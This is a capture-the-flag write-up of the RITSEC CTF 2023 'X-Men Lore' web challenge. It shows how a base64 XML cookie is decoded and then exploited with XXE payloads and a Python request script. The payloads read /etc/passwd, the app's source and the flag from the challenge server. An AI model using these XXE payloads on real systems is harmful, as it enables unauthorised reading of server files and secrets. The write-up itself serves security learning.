siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

X-Men Lore

Background

The 90’s X-Men Animated Series is better than the movies. Change my mind.

https://xmen-lore-web.challenges.ctf.ritsec.club/

Enumeration

Home page:

In here, we can choose an X-Men Character.

View source page:

 <a href="/xmen">
    <button
      onclick="document.cookie='xmen=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ+PHhtZW4+QmVhc3Q8L3htZW4+PC9pbnB1dD4='">
      Beast
    </button>
  </a>
  <a href="/xmen">
    <button
      onclick="document.cookie='xmen=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ+PHhtZW4+U3Rvcm08L3htZW4+PC9pbnB1dD4='">
      Storm
    </button>
  </a>
  <a href="/xmen">
    <button
      onclick="document.cookie='xmen=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ+PHhtZW4+SmVhbiBHcmV5PC94bWVuPjwvaW5wdXQ+'">
      Jean Grey
    </button>
  </a>
  <a href="/xmen">
    <button
      onclick="document.cookie='xmen=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ+PHhtZW4+V29sdmVyaW5lPC94bWVuPjwvaW5wdXQ+'">
      Wolverine
    </button>
  </a>
  <a href="/xmen">
    <button
      onclick="document.cookie='xmen=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ+PHhtZW4+Q3ljbG9wczwveG1lbj48L2lucHV0Pg=='">
      Cyclops
    </button>
  </a>
  <a href="/xmen">
    <button
      onclick="document.cookie='xmen=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ+PHhtZW4+R2FtYml0PC94bWVuPjwvaW5wdXQ+'">
      Gambit
    </button>
  </a>
  <a href="/xmen">
    <button
      onclick="document.cookie='xmen=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ+PHhtZW4+Um9ndWU8L3htZW4+PC9pbnB1dD4='">
      Rogue
    </button>
  </a>
  <a href="/xmen">
    <button
      onclick="document.cookie='xmen=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ+PHhtZW4+SnViaWxlZTwveG1lbj48L2lucHV0Pg=='">
      Jubilee
    </button>
  </a>

When we click those buttons, it’ll set a new cookie for us, and the key is xmen, value is encoded in base64. You can tell it’s base64 encoded is because the last character has =, which is a padding in base64 encoding.

Let’s click on the “Beast” button:

Hmm… Let’s decode that base64 string:

┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023)-[2023.04.01|14:24:43(HKT)]
└> echo 'PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ+PHhtZW4+QmVhc3Q8L3htZW4+PC9pbnB1dD4=' | base64 -d
<?xml version='1.0' encoding='UTF-8'?><input><xmen>Beast</xmen></input>

Oh! It’s an XML data:

<?xml version='1.0' encoding='UTF-8'?>
<input>
    <xmen>Beast</xmen>
</input>

Maybe the server-side will decode our xmen cookie, then parse it’s value to the XML parser?

That being said, we can try XXE (XML External Entity) injection!

Exploitation

But first, let’s try to change the <xmen> element’s value to anything and see what will happened:

encode_xml.py:

#!/usr/bin/env python3

from base64 import b64encode

def main():
    payload = b'''<?xml version='1.0' encoding='UTF-8'?><input><xmen>anything</xmen></input>'''
    base64Encoded = b64encode(payload)
    print(base64Encoded.decode())

if __name__ == '__main__':
    main()
┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Web/X-Men-Lore)-[2023.04.01|14:33:49(HKT)]
└> python3 encode_xml.py
PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ+PHhtZW4+YW55dGhpbmc8L3htZW4+PC9pbnB1dD4=

Cool! It’s reflected to the response!!

With that said, we can craft a payload to display the file content of /etc/passwd:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<input>
    <xmen>&xxe;</xmen>
</input>

What this payload does is we defined:

    payload = b'''<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><input><xmen>&xxe;</xmen></input>'''
┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Web/X-Men-Lore)-[2023.04.01|14:34:09(HKT)]
└> python3 encode_xml.py
PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48IURPQ1RZUEUgcm9vdCBbIDwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCI+IF0+PGlucHV0Pjx4bWVuPiZ4eGU7PC94bWVuPjwvaW5wdXQ+

Nice! We can confirm the xmen cookie is indeed vulnerable to XXE!!

But where’s the flag??

Hmm… Let’s view the server-side’s source code!

During sending the payload request, I found that the response has a Server header:

Server: gunicorn

Gunicorn is a pure Python WSGI server with simple configuration and multiple worker implementations for performance tuning.

That being said, the back-end is using Python. Which means there’s only 2 back-end web framework in Python: Flask and Django.

Usually the main application file is called app.py.

After some testing, I found the source code is in /home/user/app.py:

#!/usr/bin/env python3

from base64 import b64encode
import requests

def main():
    payload = b'''<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///home/user/app.py"> ]><input><xmen>&xxe;</xmen></input>'''
    base64Encoded = b64encode(payload).decode()
    cookie = {
        'xmen': base64Encoded
    }
    URL = 'https://xmen-lore-web.challenges.ctf.ritsec.club/xmen'

    xmenResult = requests.get(URL, cookies=cookie)
    print(xmenResult.text)

if __name__ == '__main__':
    main()
┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Web/X-Men-Lore)-[2023.04.01|14:52:39(HKT)]
└> python3 encode_xml.py
<!DOCTYPE html>
<head>
  <title>X-Men Lore</title>
  <link rel="stylesheet" href="/static/style.css">
</head>
<a href="/"><button>Home</button></a>
<body>
  
    
      <h1>from flask import Flask, render_template, request, redirect, url_for
import lxml.etree as ET
from base64 import b64decode
app = Flask(__name__)

@app.route(&#34;/&#34;)
def index():
  return render_template(&#34;index.html&#34;)

@app.route(&#34;/xmen&#34;)
def xmen():
  cookie = request.cookies.get(&#34;xmen&#34;)
  try:
    b64decode(cookie)
    data = ET.fromstring(b64decode(cookie))
  except:
    return redirect(url_for(&#34;index&#34;))
  return render_template(&#34;xmen.html&#34;, data=data)
</h1>
      <img src="/static/from flask import Flask, render_template, request, redirect, url_for
import lxml.etree as ET
from base64 import b64decode
app = Flask(__name__)

@app.route(&#34;/&#34;)
def index():
  return render_template(&#34;index.html&#34;)

@app.route(&#34;/xmen&#34;)
def xmen():
  cookie = request.cookies.get(&#34;xmen&#34;)
  try:
    b64decode(cookie)
    data = ET.fromstring(b64decode(cookie))
  except:
    return redirect(url_for(&#34;index&#34;))
  return render_template(&#34;xmen.html&#34;, data=data)
.jpg" alt="[...]" />
      <br/>
      <iframe src="/static/[...]
"></iframe>
    
  
</body>

/home/user/app.py:

from flask import Flask, render_template, request, redirect, url_for
import lxml.etree as ET
from base64 import b64decode
app = Flask(__name__)

@app.route('/')
def index():
  return render_template('index.html')

@app.route('/xmen')
def xmen():
  cookie = request.cookies.get('xmen')
  try:
    b64decode(cookie)
    data = ET.fromstring(b64decode(cookie))
  except:
    return redirect(url_for('index'))
  return render_template('xmen.html', data=data)

Hmm… Nothing weird…

After some “guessing”, I found that the flag is in /flag:

    payload = b'''<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///flag"> ]><input><xmen>&xxe;</xmen></input>'''
┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Web/X-Men-Lore)-[2023.04.01|15:04:31(HKT)]
└> python3 encode_xml.py
<!DOCTYPE html>
<head>
  <title>X-Men Lore</title>
  <link rel="stylesheet" href="/static/style.css">
</head>
<a href="/"><button>Home</button></a>
<body>
  
    
      <h1>RS{XM3N_L0R3?_M0R3_L1K3_XM3N_3XT3RN4L_3NT1TY!}
</h1>
      <img src="/static/RS{XM3N_L0R3?_M0R3_L1K3_XM3N_3XT3RN4L_3NT1TY!}
.jpg" alt="RS{XM3N_L0R3?_M0R3_L1K3_XM3N_3XT3RN4L_3NT1TY!}
" />
      <br/>
      <iframe src="/static/RS{XM3N_L0R3?_M0R3_L1K3_XM3N_3XT3RN4L_3NT1TY!}
.html" title="RS{XM3N_L0R3?_M0R3_L1K3_XM3N_3XT3RN4L_3NT1TY!}
"></iframe>
    
  
</body>

Nice!

Conclusion

What we’ve learned:

  1. XML External Entity (XXE) Injection